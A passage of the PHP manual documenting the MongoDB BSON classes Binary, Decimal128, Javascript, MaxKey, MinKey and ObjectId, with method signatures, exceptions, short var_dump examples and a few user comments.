var_dump((string) new MongoDB\BSON\Binary('foo', MongoDB\BSON\Binary::TYPE_GENERIC));

?>

以上示例会输出：

string(3) "foo"

参见

  • MongoDB\BSON\Binary::getData() - Returns the Binary's data
  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Unserialize a Binary

  • ? MongoDB\BSON\Binary::__toString
  • MongoDB\BSON\Decimal128 ?
  • PHP Manual
  • MongoDB\BSON\Binary
  • Unserialize a Binary

MongoDB\BSON\Binary::unserialize

(mongodb >=1.2.0)

MongoDB\BSON\Binary::unserialize — Unserialize a Binary

说明

final public MongoDB\BSON\Binary::unserialize(string $data): void

参数

data

The serialized MongoDB\BSON\Binary.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the properties cannot be unserialized (i.e. serialized was malformed).
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the properties are invalid (e.g. missing fields or invalid values).

参见

  • MongoDB\BSON\Binary::serialize() - Serialize a Binary
  • unserialize() - 从已存储的表示中创建 PHP 的值
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\Decimal128 class

(mongodb >=1.2.0)

简介

BSON type for the » Decimal128 floating-point format, which supports numbers with up to 34 decimal digits (i.e. significant digits) and an exponent range of ?6143 to +6144.

Unlike the double BSON type (i.e. float in PHP), which only stores an approximation of the decimal values, the decimal data type stores the exact value. For example, MongoDB\BSON\Decimal128('9.99') has a precise value of 9.99 where as a double 9.99 would have an approximate value of 9.9900000000000002131628....

Note: MongoDB\BSON\Decimal128 is only compatible with MongoDB 3.4+. Attempting to use the BSON type with an earlier version of MongoDB will result in an error.

类摘要

final class MongoDB\BSON\Decimal128 implements MongoDB\BSON\Decimal128Interface, MongoDB\BSON\Type, Serializable, JsonSerializable, Stringable {
/* 方法 */
final public __construct(string $value)
final public jsonSerialize(): mixed
final public serialize(): string
final public __toString(): string
final public unserialize(string $data): void
}

更新日志

版本 | 说明
PECL mongodb 1.12.0 | Implements Stringable for PHP 8.0+.
PECL mongodb 1.3.0 | Implements MongoDB\BSON\Decimal128Interface.
PECL mongodb 1.2.0 | Implements Serializable and JsonSerializable.

Table of Contents

  • MongoDB\BSON\Decimal128::__construct — Construct a new Decimal128
  • MongoDB\BSON\Decimal128::jsonSerialize — Returns a representation that can be converted to JSON
  • MongoDB\BSON\Decimal128::serialize — Serialize a Decimal128
  • MongoDB\BSON\Decimal128::__toString — Returns the string representation of this Decimal128
  • MongoDB\BSON\Decimal128::unserialize — Unserialize a Decimal128

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Decimal128

  • ? MongoDB\BSON\Decimal128
  • MongoDB\BSON\Decimal128::jsonSerialize ?
  • PHP Manual
  • MongoDB\BSON\Decimal128
  • Construct a new Decimal128

MongoDB\BSON\Decimal128::__construct

(mongodb >=1.2.0)

MongoDB\BSON\Decimal128::__construct — Construct a new Decimal128

说明

final public MongoDB\BSON\Decimal128::__construct(string $value)

Note: MongoDB\BSON\Decimal128 is only compatible with MongoDB 3.4+. Attempting to use the BSON type with an earlier version of MongoDB will result in an error.

参数

value (string)

A decimal string.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if value is not a valid decimal string.

示例

Example #1 MongoDB\BSON\Decimal128::__construct() example

<?php

var_dump(new MongoDB\BSON\Decimal128(1234.5678));
var_dump(new MongoDB\BSON\Decimal128(NAN));
var_dump(new MongoDB\BSON\Decimal128(INF));

?>

以上示例的输出类似于：

object(MongoDB\BSON\Decimal128)#1 (1) {
  ["dec"]=>
  string(9) "1234.5678"
}
object(MongoDB\BSON\Decimal128)#1 (1) {
  ["dec"]=>
  string(3) "NaN"
}
object(MongoDB\BSON\Decimal128)#1 (1) {
  ["dec"]=>
  string(8) "Infinity"
}

参见

  • » Decimal128 floating-point format
  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ? MongoDB\BSON\Decimal128::__construct
  • MongoDB\BSON\Decimal128::serialize ?
  • PHP Manual
  • MongoDB\BSON\Decimal128
  • Returns a representation that can be converted to JSON

MongoDB\BSON\Decimal128::jsonSerialize

(mongodb >=1.2.0)

MongoDB\BSON\Decimal128::jsonSerialize — Returns a representation that can be converted to JSON

说明

final public MongoDB\BSON\Decimal128::jsonSerialize(): mixed

参数

此函数没有参数。

返回值

Returns data which can be serialized by json_encode() to produce an extended JSON representation of the MongoDB\BSON\Decimal128.

Note: The output is consistent with the MongoDB\BSON\toJSON() function, which uses the driver-specific legacy extended JSON format. This does not necessarily match the » relaxed or » canonical extended JSON representations used by MongoDB\BSON\toRelaxedExtendedJSON() and MongoDB\BSON\toCanonicalExtendedJSON(), respectively.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • JsonSerializable::jsonSerialize() - 指定需要被序列化成 JSON 的数据
  • json_encode() - 对变量进行 JSON 编码
  • MongoDB\BSON\toCanonicalExtendedJSON() - Returns the Canonical Extended JSON representation of a BSON value
  • MongoDB\BSON\toRelaxedExtendedJSON() - Returns the Relaxed Extended JSON representation of a BSON value
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Serialize a Decimal128

  • ? MongoDB\BSON\Decimal128::jsonSerialize
  • MongoDB\BSON\Decimal128::__toString ?
  • PHP Manual
  • MongoDB\BSON\Decimal128
  • Serialize a Decimal128

MongoDB\BSON\Decimal128::serialize

(mongodb >=1.2.0)

MongoDB\BSON\Decimal128::serialize — Serialize a Decimal128

说明

final public MongoDB\BSON\Decimal128::serialize(): string

参数

此函数没有参数。

返回值

Returns the serialized representation of the MongoDB\BSON\Decimal128.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\BSON\Decimal128::unserialize() - Unserialize a Decimal128
  • serialize() - 生成值的可存储表示
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Returns the string representation of this Decimal128

  • ? MongoDB\BSON\Decimal128::serialize
  • MongoDB\BSON\Decimal128::unserialize ?
  • PHP Manual
  • MongoDB\BSON\Decimal128
  • Returns the string representation of this Decimal128

MongoDB\BSON\Decimal128::__toString

(mongodb >=1.2.0)

MongoDB\BSON\Decimal128::__toString — Returns the string representation of this Decimal128

说明

final public MongoDB\BSON\Decimal128::__toString(): string

参数

此函数没有参数。

返回值

Returns the string representation of this Decimal128.

示例

Example #1 MongoDB\BSON\Decimal128::__toString() example

<?php

var_dump((string) new MongoDB\BSON\Decimal128(1234.5678));
var_dump((string) new MongoDB\BSON\Decimal128(NAN));
var_dump((string) new MongoDB\BSON\Decimal128(INF));

?>

以上示例的输出类似于：

string(9) "1234.5678"
string(3) "NaN"
string(8) "Infinity"

参见

  • » Decimal128 floating-point format
  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Unserialize a Decimal128

  • ? MongoDB\BSON\Decimal128::__toString
  • MongoDB\BSON\Javascript ?
  • PHP Manual
  • MongoDB\BSON\Decimal128
  • Unserialize a Decimal128

MongoDB\BSON\Decimal128::unserialize

(mongodb >=1.2.0)

MongoDB\BSON\Decimal128::unserialize — Unserialize a Decimal128

说明

final public MongoDB\BSON\Decimal128::unserialize(string $data): void

参数

data

The serialized MongoDB\BSON\Decimal128.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the properties cannot be unserialized (i.e. serialized was malformed).
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the properties are invalid (e.g. missing fields or invalid values).

参见

  • MongoDB\BSON\Decimal128::serialize() - Serialize a Decimal128
  • unserialize() - 从已存储的表示中创建 PHP 的值
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\Javascript class

(mongodb >=1.0.0)

简介

BSON type for Javascript code. An optional scope document may be specified that maps identifiers to values and defines the scope in which the code should be evaluated by the server.

Note: This BSON type is mainly used when executing database commands that take a Javascript function as a parameter, such as » mapReduce.

类摘要

final class MongoDB\BSON\Javascript implements MongoDB\BSON\JavascriptInterface, MongoDB\BSON\Type, Serializable, JsonSerializable, Stringable {
/* 方法 */
final public __construct(string $code, array|object|null $scope = null)
final public getCode(): string
final public getScope(): ?object
final public jsonSerialize(): mixed
final public serialize(): string
final public __toString(): string
final public unserialize(string $data): void
}

更新日志

版本 | 说明
PECL mongodb 1.12.0 | Implements Stringable for PHP 8.0+.
PECL mongodb 1.3.0 | Implements MongoDB\BSON\JavascriptInterface.
PECL mongodb 1.2.0 | Implements Serializable and JsonSerializable.

Table of Contents

  • MongoDB\BSON\Javascript::__construct — Construct a new Javascript
  • MongoDB\BSON\Javascript::getCode — Returns the Javascript's code
  • MongoDB\BSON\Javascript::getScope — Returns the Javascript's scope document
  • MongoDB\BSON\Javascript::jsonSerialize — Returns a representation that can be converted to JSON
  • MongoDB\BSON\Javascript::serialize — Serialize a Javascript
  • MongoDB\BSON\Javascript::__toString — Returns the Javascript's code
  • MongoDB\BSON\Javascript::unserialize — Unserialize a Javascript

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Javascript

  • ? MongoDB\BSON\Javascript
  • MongoDB\BSON\Javascript::getCode ?
  • PHP Manual
  • MongoDB\BSON\Javascript
  • Construct a new Javascript

MongoDB\BSON\Javascript::__construct

(mongodb >=1.0.0)

MongoDB\BSON\Javascript::__construct — Construct a new Javascript

说明

final public MongoDB\BSON\Javascript::__construct(string $code, array|object|null $scope = null)

参数

code (string)

Javascript code.

scope (array|object)

Javascript scope.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if code contains null bytes.

更新日志

版本 | 说明
PECL mongodb 1.2.0 | MongoDB\Driver\Exception\InvalidArgumentException is thrown if code contains null bytes. Previously, values would be truncated at the first null byte.

示例

Example #1 MongoDB\BSON\Javascript::__construct() example

<?php

$code = new MongoDB\BSON\Javascript('function() { return 1; }');
var_dump($code);

$codews = new MongoDB\BSON\Javascript('function() { return foo; }', ['foo' => 'bar']);
var_dump($codews);

?>

以上示例会输出：

object(MongoDB\BSON\Javascript)#1 (2) {
  ["javascript"]=>
  string(24) "function() { return 1; }"
  ["scope"]=>
  object(stdClass)#2 (0) {
  }
}
object(MongoDB\BSON\Javascript)#2 (2) {
  ["javascript"]=>
  string(26) "function() { return foo; }"
  ["scope"]=>
  object(stdClass)#1 (1) {
    ["foo"]=>
    string(3) "bar"
  }
}

参见

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns the Javascript's code

  • ? MongoDB\BSON\Javascript::__construct
  • MongoDB\BSON\Javascript::getScope ?
  • PHP Manual
  • MongoDB\BSON\Javascript
  • Returns the Javascript's code

MongoDB\BSON\Javascript::getCode

(mongodb >=1.2.0)

MongoDB\BSON\Javascript::getCode — Returns the Javascript's code

说明

final public MongoDB\BSON\Javascript::getCode(): string

参数

此函数没有参数。

返回值

Returns the Javascript's code.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\BSON\Javascript::getCode() example

<?php

$js = new MongoDB\BSON\Javascript('function foo(bar) { return bar; }');
var_dump($js->getCode());

?>

以上示例会输出：

string(33) "function foo(bar) { return bar; }"

参见

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns the Javascript's scope document

  • ? MongoDB\BSON\Javascript::getCode
  • MongoDB\BSON\Javascript::jsonSerialize ?
  • PHP Manual
  • MongoDB\BSON\Javascript
  • Returns the Javascript's scope document

MongoDB\BSON\Javascript::getScope

(mongodb >=1.2.0)

MongoDB\BSON\Javascript::getScope — Returns the Javascript's scope document

说明

final public MongoDB\BSON\Javascript::getScope(): ?object

参数

此函数没有参数。

返回值

Returns the Javascript's scope document, or null if the is no scope.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\BSON\Javascript::getScope() example

<?php

$js = new MongoDB\BSON\Javascript('function foo(bar) { return bar; }');
var_dump($js->getScope());

$js = new MongoDB\BSON\Javascript('function foo() { return foo; }', ['foo' => 42]);
var_dump($js->getScope());

?>

以上示例会输出：

NULL
object(stdClass)#1 (1) {
  ["foo"]=>
  int(42)
}

参见

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ? MongoDB\BSON\Javascript::getScope
  • MongoDB\BSON\Javascript::serialize ?
  • PHP Manual
  • MongoDB\BSON\Javascript
  • Returns a representation that can be converted to JSON

MongoDB\BSON\Javascript::jsonSerialize

(mongodb >=1.2.0)

MongoDB\BSON\Javascript::jsonSerialize — Returns a representation that can be converted to JSON

说明

final public MongoDB\BSON\Javascript::jsonSerialize(): mixed

参数

此函数没有参数。

返回值

Returns data which can be serialized by json_encode() to produce an extended JSON representation of the MongoDB\BSON\Javascript.

Note: The output is consistent with the MongoDB\BSON\toJSON() function, which uses the driver-specific legacy extended JSON format. This does not necessarily match the » relaxed or » canonical extended JSON representations used by MongoDB\BSON\toRelaxedExtendedJSON() and MongoDB\BSON\toCanonicalExtendedJSON(), respectively.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • JsonSerializable::jsonSerialize() - 指定需要被序列化成 JSON 的数据
  • json_encode() - 对变量进行 JSON 编码
  • MongoDB\BSON\toCanonicalExtendedJSON() - Returns the Canonical Extended JSON representation of a BSON value
  • MongoDB\BSON\toRelaxedExtendedJSON() - Returns the Relaxed Extended JSON representation of a BSON value
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Serialize a Javascript

  • ? MongoDB\BSON\Javascript::jsonSerialize
  • MongoDB\BSON\Javascript::__toString ?
  • PHP Manual
  • MongoDB\BSON\Javascript
  • Serialize a Javascript

MongoDB\BSON\Javascript::serialize

(mongodb >=1.2.0)

MongoDB\BSON\Javascript::serialize — Serialize a Javascript

说明

final public MongoDB\BSON\Javascript::serialize(): string

参数

此函数没有参数。

返回值

Returns the serialized representation of the MongoDB\BSON\Javascript.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\BSON\Javascript::unserialize() - Unserialize a Javascript
  • serialize() - 生成值的可存储表示
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Returns the Javascript's code

  • ? MongoDB\BSON\Javascript::serialize
  • MongoDB\BSON\Javascript::unserialize ?
  • PHP Manual
  • MongoDB\BSON\Javascript
  • Returns the Javascript's code

MongoDB\BSON\Javascript::__toString

(mongodb >=1.2.0)

MongoDB\BSON\Javascript::__toString — Returns the Javascript's code

说明

final public MongoDB\BSON\Javascript::__toString(): string

此方法是该方法的别名： MongoDB\BSON\Javascript::getCode().

参数

此函数没有参数。

返回值

Returns the Javascript's code.

示例

Example #1 MongoDB\BSON\Javascript::__toString() example

<?php

var_dump((string) new MongoDB\BSON\Javascript('function foo(bar) { return bar; }'));

?>

以上示例会输出：

string(33) "function foo(bar) { return bar; }"

参见

  • MongoDB\BSON\Javascript::getCode() - Returns the Javascript's code
  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Unserialize a Javascript

  • ? MongoDB\BSON\Javascript::__toString
  • MongoDB\BSON\MaxKey ?
  • PHP Manual
  • MongoDB\BSON\Javascript
  • Unserialize a Javascript

MongoDB\BSON\Javascript::unserialize

(mongodb >=1.2.0)

MongoDB\BSON\Javascript::unserialize — Unserialize a Javascript

说明

final public MongoDB\BSON\Javascript::unserialize(string $data): void

参数

data

The serialized MongoDB\BSON\Javascript.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the properties cannot be unserialized (i.e. serialized was malformed).
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the properties are invalid (e.g. missing fields or invalid values).

参见

  • MongoDB\BSON\Javascript::serialize() - Serialize a Javascript
  • unserialize() - 从已存储的表示中创建 PHP 的值
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\MaxKey class

(mongodb >=1.0.0)

简介

Special BSON type which compares higher than all other possible BSON element values.

Note: This is an internal MongoDB type used for indexing and sharding.

类摘要

final class MongoDB\BSON\MaxKey implements MongoDB\BSON\MaxKeyInterface, MongoDB\BSON\Type, Serializable, JsonSerializable {
/* 方法 */
final public __construct()
final public jsonSerialize(): mixed
final public serialize(): string
final public unserialize(string $data): void
}

更新日志

版本 | 说明
PECL mongodb 1.3.0 | Implements MongoDB\BSON\MaxKeyInterface.
PECL mongodb 1.2.0 | Implements Serializable and JsonSerializable.

Table of Contents

  • MongoDB\BSON\MaxKey::__construct — Construct a new MaxKey
  • MongoDB\BSON\MaxKey::jsonSerialize — Returns a representation that can be converted to JSON
  • MongoDB\BSON\MaxKey::serialize — Serialize a MaxKey
  • MongoDB\BSON\MaxKey::unserialize — Unserialize a MaxKey

User Contributed Notes

There are no user contributed notes for this page.


Construct a new MaxKey

  • ? MongoDB\BSON\MaxKey
  • MongoDB\BSON\MaxKey::jsonSerialize ?
  • PHP Manual
  • MongoDB\BSON\MaxKey
  • Construct a new MaxKey

MongoDB\BSON\MaxKey::__construct

(mongodb >=1.0.0)

MongoDB\BSON\MaxKey::__construct — Construct a new MaxKey

说明

final public MongoDB\BSON\MaxKey::__construct()

参数

此函数没有参数。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\BSON\MaxKey::__construct() example

<?php

var_dump(new MongoDB\BSON\MaxKey());

?>

以上示例会输出：

object(MongoDB\BSON\MaxKey)#1 (0) {
}

参见

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ? MongoDB\BSON\MaxKey::__construct
  • MongoDB\BSON\MaxKey::serialize ?
  • PHP Manual
  • MongoDB\BSON\MaxKey
  • Returns a representation that can be converted to JSON

MongoDB\BSON\MaxKey::jsonSerialize

(mongodb >=1.2.0)

MongoDB\BSON\MaxKey::jsonSerialize — Returns a representation that can be converted to JSON

说明

final public MongoDB\BSON\MaxKey::jsonSerialize(): mixed

参数

此函数没有参数。

返回值

Returns data which can be serialized by json_encode() to produce an extended JSON representation of the MongoDB\BSON\MaxKey.

Note: The output is consistent with the MongoDB\BSON\toJSON() function, which uses the driver-specific legacy extended JSON format. This does not necessarily match the » relaxed or » canonical extended JSON representations used by MongoDB\BSON\toRelaxedExtendedJSON() and MongoDB\BSON\toCanonicalExtendedJSON(), respectively.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • JsonSerializable::jsonSerialize() - 指定需要被序列化成 JSON 的数据
  • json_encode() - 对变量进行 JSON 编码
  • MongoDB\BSON\toCanonicalExtendedJSON() - Returns the Canonical Extended JSON representation of a BSON value
  • MongoDB\BSON\toRelaxedExtendedJSON() - Returns the Relaxed Extended JSON representation of a BSON value
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Serialize a MaxKey

  • ? MongoDB\BSON\MaxKey::jsonSerialize
  • MongoDB\BSON\MaxKey::unserialize ?
  • PHP Manual
  • MongoDB\BSON\MaxKey
  • Serialize a MaxKey

MongoDB\BSON\MaxKey::serialize

(mongodb >=1.2.0)

MongoDB\BSON\MaxKey::serialize — Serialize a MaxKey

说明

final public MongoDB\BSON\MaxKey::serialize(): string

参数

此函数没有参数。

返回值

Returns the serialized representation of the MongoDB\BSON\MaxKey.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\BSON\MaxKey::unserialize() - Unserialize a MaxKey
  • serialize() - 生成值的可存储表示
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Unserialize a MaxKey

  • ? MongoDB\BSON\MaxKey::serialize
  • MongoDB\BSON\MinKey ?
  • PHP Manual
  • MongoDB\BSON\MaxKey
  • Unserialize a MaxKey

MongoDB\BSON\MaxKey::unserialize

(mongodb >=1.2.0)

MongoDB\BSON\MaxKey::unserialize — Unserialize a MaxKey

说明

final public MongoDB\BSON\MaxKey::unserialize(string $data): void

参数

data

The serialized MongoDB\BSON\MaxKey.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\BSON\MaxKey::serialize() - Serialize a MaxKey
  • unserialize() - 从已存储的表示中创建 PHP 的值
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\MinKey class

(mongodb >=1.0.0)

简介

Special BSON type which compares lower than all other possible BSON element values.

Note: This is an internal MongoDB type used for indexing and sharding.

类摘要

final class MongoDB\BSON\MinKey implements MongoDB\BSON\MinKeyInterface, MongoDB\BSON\Type, Serializable, JsonSerializable {
/* 方法 */
final public __construct()
final public jsonSerialize(): mixed
final public serialize(): string
final public unserialize(string $data): void
}

更新日志

版本 | 说明
PECL mongodb 1.3.0 | Implements MongoDB\BSON\MinKeyInterface.
PECL mongodb 1.2.0 | Implements Serializable and JsonSerializable.

Table of Contents

  • MongoDB\BSON\MinKey::__construct — Construct a new MinKey
  • MongoDB\BSON\MinKey::jsonSerialize — Returns a representation that can be converted to JSON
  • MongoDB\BSON\MinKey::serialize — Serialize a MinKey
  • MongoDB\BSON\MinKey::unserialize — Unserialize a MinKey

User Contributed Notes

There are no user contributed notes for this page.


Construct a new MinKey

  • ? MongoDB\BSON\MinKey
  • MongoDB\BSON\MinKey::jsonSerialize ?
  • PHP Manual
  • MongoDB\BSON\MinKey
  • Construct a new MinKey

MongoDB\BSON\MinKey::__construct

(mongodb >=1.0.0)

MongoDB\BSON\MinKey::__construct — Construct a new MinKey

说明

final public MongoDB\BSON\MinKey::__construct()

参数

此函数没有参数。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\BSON\MinKey::__construct() example

<?php

var_dump(new MongoDB\BSON\MinKey());

?>

以上示例会输出：

object(MongoDB\BSON\MinKey)#1 (0) {
}

参见

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ? MongoDB\BSON\MinKey::__construct
  • MongoDB\BSON\MinKey::serialize ?
  • PHP Manual
  • MongoDB\BSON\MinKey
  • Returns a representation that can be converted to JSON

MongoDB\BSON\MinKey::jsonSerialize

(mongodb >=1.2.0)

MongoDB\BSON\MinKey::jsonSerialize — Returns a representation that can be converted to JSON

说明

final public MongoDB\BSON\MinKey::jsonSerialize(): mixed

参数

此函数没有参数。

返回值

Returns data which can be serialized by json_encode() to produce an extended JSON representation of the MongoDB\BSON\MinKey.

Note: The output is consistent with the MongoDB\BSON\toJSON() function, which uses the driver-specific legacy extended JSON format. This does not necessarily match the » relaxed or » canonical extended JSON representations used by MongoDB\BSON\toRelaxedExtendedJSON() and MongoDB\BSON\toCanonicalExtendedJSON(), respectively.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • JsonSerializable::jsonSerialize() - 指定需要被序列化成 JSON 的数据
  • json_encode() - 对变量进行 JSON 编码
  • MongoDB\BSON\toCanonicalExtendedJSON() - Returns the Canonical Extended JSON representation of a BSON value
  • MongoDB\BSON\toRelaxedExtendedJSON() - Returns the Relaxed Extended JSON representation of a BSON value
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Serialize a MinKey

  • ? MongoDB\BSON\MinKey::jsonSerialize
  • MongoDB\BSON\MinKey::unserialize ?
  • PHP Manual
  • MongoDB\BSON\MinKey
  • Serialize a MinKey

MongoDB\BSON\MinKey::serialize

(mongodb >=1.2.0)

MongoDB\BSON\MinKey::serialize — Serialize a MinKey

说明

final public MongoDB\BSON\MinKey::serialize(): string

参数

此函数没有参数。

返回值

Returns the serialized representation of the MongoDB\BSON\MinKey.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\BSON\MinKey::unserialize() - Unserialize a MinKey
  • serialize() - 生成值的可存储表示
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Unserialize a MinKey

  • ? MongoDB\BSON\MinKey::serialize
  • MongoDB\BSON\ObjectId ?
  • PHP Manual
  • MongoDB\BSON\MinKey
  • Unserialize a MinKey

MongoDB\BSON\MinKey::unserialize

(mongodb >=1.2.0)

MongoDB\BSON\MinKey::unserialize — Unserialize a MinKey

说明

final public MongoDB\BSON\MinKey::unserialize(string $data): void

参数

data

The serialized MongoDB\BSON\MinKey.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\BSON\MinKey::serialize() - Serialize a MinKey
  • unserialize() - 从已存储的表示中创建 PHP 的值
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\ObjectId class

(mongodb >=1.0.0)

简介

BSON type for an » ObjectId. The value consists of 12 bytes, where the first four bytes are a timestamp that reflect the ObjectId's creation. Specifically, the value consists of:

  • a 4-byte value representing the seconds since the Unix epoch,
  • a 5-byte random number unique to a machine and process, and
  • a 3-byte counter, starting with a random value.

In MongoDB, each document stored in a collection requires a unique _id field that acts as a primary key. If an inserted document omits the _id field, the driver automatically generates an ObjectId for the _id field.

Using ObjectIds for the _id field provides the following additional benefits:

  • The creation time of the ObjectId may be accessed using the MongoDB\BSON\ObjectId::getTimestamp() method.
  • Sorting on an _id field that stores ObjectId values is roughly equivalent to sorting by creation time.

类摘要

final class MongoDB\BSON\ObjectId implements MongoDB\BSON\ObjectIdInterface, MongoDB\BSON\Type, Serializable, JsonSerializable, Stringable {
/* 方法 */
final public __construct(?string $id = null)
final public getTimestamp(): int
final public jsonSerialize(): mixed
final public serialize(): string
final public __toString(): string
final public unserialize(string $data): void
}

更新日志

版本 | 说明
PECL mongodb 1.12.0 | Implements Stringable for PHP 8.0+.
PECL mongodb 1.3.0 | Renamed from MongoDB\BSON\ObjectID to MongoDB\BSON\ObjectId. Implements MongoDB\BSON\ObjectIdInterface.
PECL mongodb 1.2.0 | Implements Serializable and JsonSerializable.

Table of Contents

  • MongoDB\BSON\ObjectId::__construct — Construct a new ObjectId
  • MongoDB\BSON\ObjectId::getTimestamp — Returns the timestamp component of this ObjectId
  • MongoDB\BSON\ObjectId::jsonSerialize — Returns a representation that can be converted to JSON
  • MongoDB\BSON\ObjectId::serialize — Serialize an ObjectId
  • MongoDB\BSON\ObjectId::__toString — Returns the hexidecimal representation of this ObjectId
  • MongoDB\BSON\ObjectId::unserialize — Unserialize an ObjectId

User Contributed Notes

Mike T 25-May-2018 12:58
Worth noting this will throw an InvalidArgumentException if string is not in the correct format
naip1984 at gmail dot com 20-Dec-2017 01:44
I struggled for awhile to identify the way to find() using a ObjectID

This seems to work, I hope this helps someone else out.

$mongoId = '5a2493c33c95a1281836eb6a';

$collection->find(['_id'=> new MongoDB\BSON\ObjectId("$mongoId")]);

I found it here:   https://docs.mongodb.com/php-library/current/reference/method/MongoDBCollection-findOne/

Note this is for the PHP library, not the legacy library.


Construct a new ObjectId

  • ? MongoDB\BSON\ObjectId
  • MongoDB\BSON\ObjectId::getTimestamp ?
  • PHP Manual
  • MongoDB\BSON\ObjectId
  • Construct a new ObjectId

MongoDB\BSON\ObjectId::__construct

(mongodb >=1.0.0)

MongoDB\BSON\ObjectId::__construct — Construct a new ObjectId

说明

final public MongoDB\BSON\ObjectId::__construct(?string $id = null)

参数

id (string)

A 24-character hexadecimal string. If not provided, the driver will generate an ObjectId.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if id is not a 24-character hexadecimal string.

示例

Example #1 MongoDB\BSON\ObjectId::__construct() example

<?php

var_dump(new MongoDB\BSON\ObjectId());

var_dump(new MongoDB\BSON\ObjectId('000000000000000000000001'));

?>

以上示例的输出类似于：

object(MongoDB\BSON\ObjectId)#1 (1) {
  ["oid"]=>
  string(24) "56732d3dda14d81214634921"
}
object(MongoDB\BSON\ObjectId)#1 (1) {
  ["oid"]=>
  string(24) "000000000000000000000001"
}

参见

  • » ObjectId Reference
  • » BSON Types: ObjectId

User Contributed Notes

fejlesztes at letscode dot hu 22-Jan-2016 01:35
If you pass NULL to the __construct() method, it wont throw exceptions, nor errors, but prematurely ends the PHP processing (so it produced an 502 response over nginx), not like the legacy MongoId class.


Returns the timestamp component of this ObjectId

  • ? MongoDB\BSON\ObjectId::__construct
  • MongoDB\BSON\ObjectId::jsonSerialize ?
  • PHP Manual
  • MongoDB\BSON\ObjectId
  • Returns the timestamp component of this ObjectId

MongoDB\BSON\ObjectId::getTimestamp

(mongodb >=1.2.0)

MongoDB\BSON\ObjectId::getTimestamp — Returns the timestamp component of this ObjectId

说明

final public MongoDB\BSON\ObjectId::getTimestamp(): int

The timestamp component of an ObjectId is its most significant 32 bits, which denotes the number of seconds since the Unix epoch. This value is read as an unsigned 32-bit integer with big-endian byte order.

Note: Because PHP's integer type is signed, some values returned by this method may appear as negative integers on 32-bit platforms. The "%u" formatter of sprintf() may be used to obtain a string representation of the unsigned decimal value.

参数

此函数没有参数。

返回值

Returns the timestamp component of this ObjectId.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\BSON\ObjectId::getTimestamp() example

<?php

